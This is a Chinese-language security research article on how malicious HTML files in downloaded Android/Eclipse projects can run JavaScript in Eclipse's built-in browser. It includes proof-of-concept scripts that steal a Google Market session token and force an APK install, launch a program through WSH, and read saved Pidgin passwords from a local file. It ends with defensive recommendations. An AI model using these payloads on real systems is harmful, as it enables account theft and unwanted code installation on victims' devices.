<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            Android應用安全之開發環境帶來的危險

            
            by SuperHei_at_www.80vul.com
            
            
            一、前言
            
               在去年的文檔《WEB2.0下的滲透測試》里提到了一點就是在2.0時代,攻擊者的攻擊方式
            是針對攻擊的目標身份而變化的。對于開發人員來說,開發環境的安全問題一直是被忽視
            的,雖然這類問題提了很多年了。本文就是以andriod開發環境里編輯器的一個小問題展開
            的...
            
            二、android的開發環境簡介
            
                1、安裝JDK :http://www.oracle.com/technetwork/java/javase/downloads/index.html
                2、安裝Eclipse :http://www.eclipse.org/downloads/
                3、安裝ADT插件:打開Eclipse,依次Help--->install new software-->ADD-->Location:
                   https://dl-ssl.google.com/Android/eclipse/-->OK
                4、安裝Android SDK
            
            三、Eclipse的瀏覽器的漏洞
               
                以上環境配置好了后,對于開發人員來說最常用的肯定就是IDE了也就是著名的編輯器
            Eclipse,在我使用Eclipse的過程中發現了一個小問題,那就是Eclipse的瀏覽器在windows
            下直接調用IE內核來實現的,而在非windows下使用的是WEBKit核心的瀏覽器。對于這樣的簡
            陋的瀏覽器有一個通病,那就是安全防御薄弱。具體在Eclipse里,有個致命的問題那就是,
            當開發者點擊html文件時,默認情況下,它調用的不是編輯界面,而是瀏覽器里運行!而且
            是沒有任何安全提示下通過file://偽協議下執行html文件里的javascript代碼,大家都知
            道,可以在file://里執行js就意味著一個“跨域”漏洞可能....
            
            四、apk代碼結構與html文件
            
                下面是我在網絡上下載的一個apk代碼包,它的目錄結構如下:
            C:\android\Test>tree /f
            文件夾 PATH 列表
            C:.
            │  .classpath
            │  .project
            │  AndroidManifest.xml
            │  proguard.cfg
            │  project.properties
            │  readme.htm
            │
            ├─assets
            │      index.htm
            │
            ├─bin
            │  ├─classes
            │  │  └─com
            │  │      └─szy
            │  │          └─test
            │  │                  MainActivity.class
            │  │
            │  ├─com
            │  │  └─szy
            │  │      └─test
            │  │              MainActivity.class
            │  │
            │  └─res
            ├─gen
            ├─res
            │  ├─drawable-hdpi
            │  │      icon.png
            │  │
            │  ├─drawable-ldpi
            │  │      icon.png
            │  │
            │  ├─drawable-mdpi
            │  │      icon.png
            │  │
            │  ├─layout
            │  │      main.xml
            │  │
            │  └─values
            │          strings.xml
            │
            └─src
                └─com
                    └─szy
                        └─test
                                MainActivity.java
            
            在這個代碼里我看到了兩處html文件:
            1、./readme.htm 這個常用的代碼作者提過的readme文件。
            2、./assets/index.htm res目錄和assets目錄是存放資源文件的兩個目錄,不同的是/assets
            目錄下的資源文件不會在R.java自動生成ID。
            
            所以這個2個地方將是我們放置和html文件引入邪惡的javascript絕佳場所!! 
            
            五、通向手機之路
            
            我們在要實現從PC上到手機上安裝執行我們的惡意apk,常用的有2個途徑:
            
            1、在手機通過USB連接到PC的情況下,使用adb shell來控制。
            2、在pc瀏覽器登錄到market[https://market.android.com/]上下載安裝apk。
            
            下面我們看看怎么通過Eclipse的瀏覽器執行JS來實現上面的兩個途徑:對于Eclipse的瀏覽
            器在windows和非windows平臺上的設計是不相同的,那就決定了我們的攻擊方式的不同。
            
            A、windows平臺下的途徑
            
            windows平臺下Eclipse的瀏覽器是基于IE內核(Trident)的,對于IE來說file://下執行的
            js就意味著擁有“我的電腦”域的權限,雖然微軟在IE的安全上做了不少工作,但是在本地
            文件的安全還遠遠不夠,最起碼file://下的xmlhttp完全不設防...,另外微軟更多的安全措
            施是基于ie的,而不是ie內核(Trident)上的,所以對于第三方的ie內核瀏覽器的安全防御那
            就更加薄弱了。
            
            a、通過market的方式
            在windows下Eclipse的瀏覽器是基于IE內核來實現的,對于IE內核的瀏覽器來說,有個特點
            那就是Cookie通用,也就是說IE登錄market后,Eclipse的瀏覽器也在登錄market的狀態。所
            以我們就可以通過我們插入的js來實現跨market.android.com域,在market上任意執行js,
            來實現惡意apk的下載安裝。當然這個的前提是你可以把你的惡意代碼放到market上,如果是
            用你自己的號,那么你最起碼需要支付25刀的開戶費給Google,不過或許你可以直接使用被
            攻擊者的帳號?! 另外你的apk需要通過google的審查! 所謂“道理是曲折的,前途是光明
            的”? :)
            
            這個過程如下:
            
              攻擊者-->上傳包含了惡意Html文件的代碼包 ------------+---------------+-------------------+-----------------------+---------------上傳惡意APK到 market.android.com                           
                                 ||                                                                                                                  || 
            被攻擊者-->下載包含了惡意Html文件的代碼包-->Eclipse的瀏覽器打開惡意html[JS]-->通過跨域到market.android.com-->JS實現自動下載安裝惡意APK-->Mobile[andoid]
            
            
            其實這個過程類似于market.android.com上xss攻擊的效果,詳見大牛jonoberheide的blog
            《How I Almost Won Pwn2Own via XSS》[1]
            
            演示代碼如下:
            
            <script>
            var request = false;
                    if(window.XMLHttpRequest) {
                        request = new XMLHttpRequest();
                        if(request.overrideMimeType) {
                            request.overrideMimeType('text/xml');
                        }
                    } else if(window.ActiveXObject) {
                        var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 
                        'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 
                        'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
                        for(var i=0; i<versions.length; i++) {
                            try {
                                request = new ActiveXObject(versions[i]);
                            } catch(e) {}
                        }
                    }
                    
            xmlhttp=request;
            
            var apkid="com.tencent.qqpimsecure";
            
            xmlhttp.open("GET", "https://market.android.com/", false);
            xmlhttp.send(null);
            var ret = xmlhttp.responseText;
            
            var regx = /userEmail: '(.*)', userG/
            var rs= regx.exec(ret);
            var gmail = rs[1];
            
            var regx = /selectedDeviceId: '(.*)', absoluteBaseUrl/
            var rs= regx.exec(ret);
            var deviceId = rs[1];
            
            var regx = /token: '(.*)', locale/
            var rs= regx.exec(ret);
            var token = rs[1];
            
            alert("gmail:"+gmail+"\n"+"DeviceId:"+deviceId+"\n"+"token:"+token);
            
            xmlhttp.open("POST", "https://market.android.com/install", false);
            xmlhttp.setRequestHeader("Referer", "https://market.android.com/");
            xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
            xmlhttp.send(unescape("id="+apkid+"&offerType=1&device="+deviceId+"&xhr=1&token="+token));
            
            </script>
            
            b、通過WSH執行adb shell的方式
            在ie內核的瀏覽器里file://本地文件是在“我的電腦”域執行的[在沒有MOTW標志的情況
            下],在“我的電腦”域是可以執行WSH的只不過,在多年的縫縫補補下IE執行WSH是有安全提
            示的,不過對于一些沒有安全意識開發人員來說,或許很容易點擊"YES"?!! 演示代碼如下:
            
            <script>new ActiveXObject("WScript.shell").Run('calc.exe',1,true);</script>
            
            
            B、非windows平臺下的途徑
            
            對于market途徑來說,Eclipse的瀏覽器是通過webkit來實現的,它沒有IE那樣的特性,所以
            如果要通過market來實現的話,前提條件是Eclipse的瀏覽器的瀏覽器已經登錄了market,要
            不然是沒有辦法的。然后webkit也沒有類似與WSH等直接的方法,那么我們還有什么思路呢?
            和IE內核的第三方瀏覽器一樣,第三方的防御都很薄弱,比如這里的Eclipse的瀏覽器,對于
            xmlhttp讀取本地文件也是被允許的。所以如果有本地google的帳號密碼保存的文件,我們讀
            取后直接登錄market了...,一切都有可能!Pidgin保存的用戶帳號密碼都是用明文方式保存
            在~/.purple/accounts.xml文件里,只要被攻擊者是使用Pidgin登錄Gtalk的話,我們就有機
            會!!!
            
            對于~目錄,是當前用戶目錄,所以使用絕對路徑時需要知道系統用戶名,這個不太好得
            到,那么對于Eclipse的workspace目錄也是在~目錄下,那么我們就可以用相對路徑的方式
            來讀取accounts.xml,而不需要知道系統用戶名,演示代碼如下:
            
            <script>
            function XMLHttp() { xmlhttpOK = false; var xmlhttp=null; if (window.XMLHttpRequest){ 
            xmlhttp = new XMLHttpRequest(); } else{ 
             if (window.ActiveXObject){ try { 
                          xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); 
                      } catch(e) {
                         xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); 
                           } 
                        }
                    }
                    return xmlhttp; 
                }
                
            var xhr=new XMLHttp();
            function postURLRet(url, data){
                if(xhr)    {
                    xhr.open("POST",url,false);
                    xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
                    xhr.send(data);
                    return xhr.responseText;
                }
                return "";
            }
            var ret = postURLRet("../../../.purple/accounts.xml", null);
            alert(ret);
            </script>
            
            六、消失的代碼
            
            對于有點安全意識的開發人員來說,有可能查看代碼,對于windows平臺來說,ie內核的瀏覽
            器是支持“右鍵-->查看源文件“的經典方式的,在非windows平臺下的webkit方式不支持這
            種方式。對于這樣的方式查看代碼的方式我們可以所用“Original Source Forgery”(詳見[2])
            的方法來讓我們的代碼“消失”。
            
            不過值得注意的是,原來代碼里的直接使用的是:
            
            ajax('GET',location, 
            	function(req){
                   ....
            }
            
            ajax函數里直接使用location但是目前ie已經禁止使用xmlhttp請求本地文件了,所以我們可
            以把你的惡意html文件copy一份在遠程的web主機上,然后使用http,或者你自己手工寫在代
            碼里。
            
            但是對于Eclipse來說打開html只是默認打開方式是瀏覽器,也就是說好友其他的方式(選擇
            html文件右鍵-->Open With)其中有個“Text Editor”方式打開的話,你的代碼還是一覽無
            遺。不過對于老版本的Eclipse來說,編輯器存在著一個漏洞可以隱藏你的代碼:
            《Nullbytes hide code on Eclipse 3.5》 by Mario Heiderich [3]
            
            
            七、惡意apk的實現
            這里不是說怎么去實現一個惡意的apk,只是簡單的說2個問題:
            
            在上面通過market的方式在目標的手機上安裝了你的apk,但是不會立刻馬上啟動你的apk,
            所以第一個問題就是怎么啟動你的apk:
            
            A、通過BroadcastReceiver的組建實現,這個的結果是必須等待手機的重啟。
            B、通過設置android:scheme的方法,通過被動的觸發這個scheme來實現啟動[比如通過短信
            或者郵件的方式發送url,url頁面里代碼使用<iframe src=scheme://xx>來啟動]。
            
            第二個問題的是“惡意apk的職能”,也就是說你的控制目標手機的目的,就目前市面上的
            Android Malware來看基本都是以盜取信息為目的,對于大炒APT(Advanced Persistent 
            Threat)的時代,對于移動設備控制的目的應該有新的詮釋,移動設備在APT過程里應該只是
            流程的一個小部分,也就是把你的帶入目標網絡里的一個途徑。所以就這個目的來看,以后
            的惡意apk開發可能圍繞局域網里的網絡自動掃描攻擊而展開...
            
            
            八、小結
            
            上面提到主要有下面幾個問題:
            
            1、 Eclipse的問題:
                 i、默認方式所用了瀏覽器方式打開html文件。
                ii、瀏覽器對javascript沒有安全提示就直接運行。
            2、 Android market對于下載安裝等敏感操沒有考慮防御xss下的csrf情況[如所用驗證碼的方式]。
            
            很多人把一些安全問題歸結到"用戶缺少安全意識"的結論上,其實不然,對于現在的安全理
            念我們的"官方"應該考慮到某些用戶存在著"缺少安全意識"情況,所以在我們的功能或者
            UI設計上要考慮到這中情況,盡量減少"安全隱患",比如上面提到的Eclipse在處理html文件
            的方式上,可以改為默認為編輯狀態。另外對于Android market應該考慮到得到token的情況
            下的csrf的情況,可以考慮危險的操作可以設置驗證碼等等,一切都以"不要你的用戶為安全
            漏洞買單"為目標,這才是王道!
            
            九、參考
            [1]http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/
            [2]http://www.scriptjunkie.us/2011/09/original-source-forgery/
            [3]https://bugs.eclipse.org/bugs/show_bug.cgi?id=283231
            
            -EOF-
            
            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线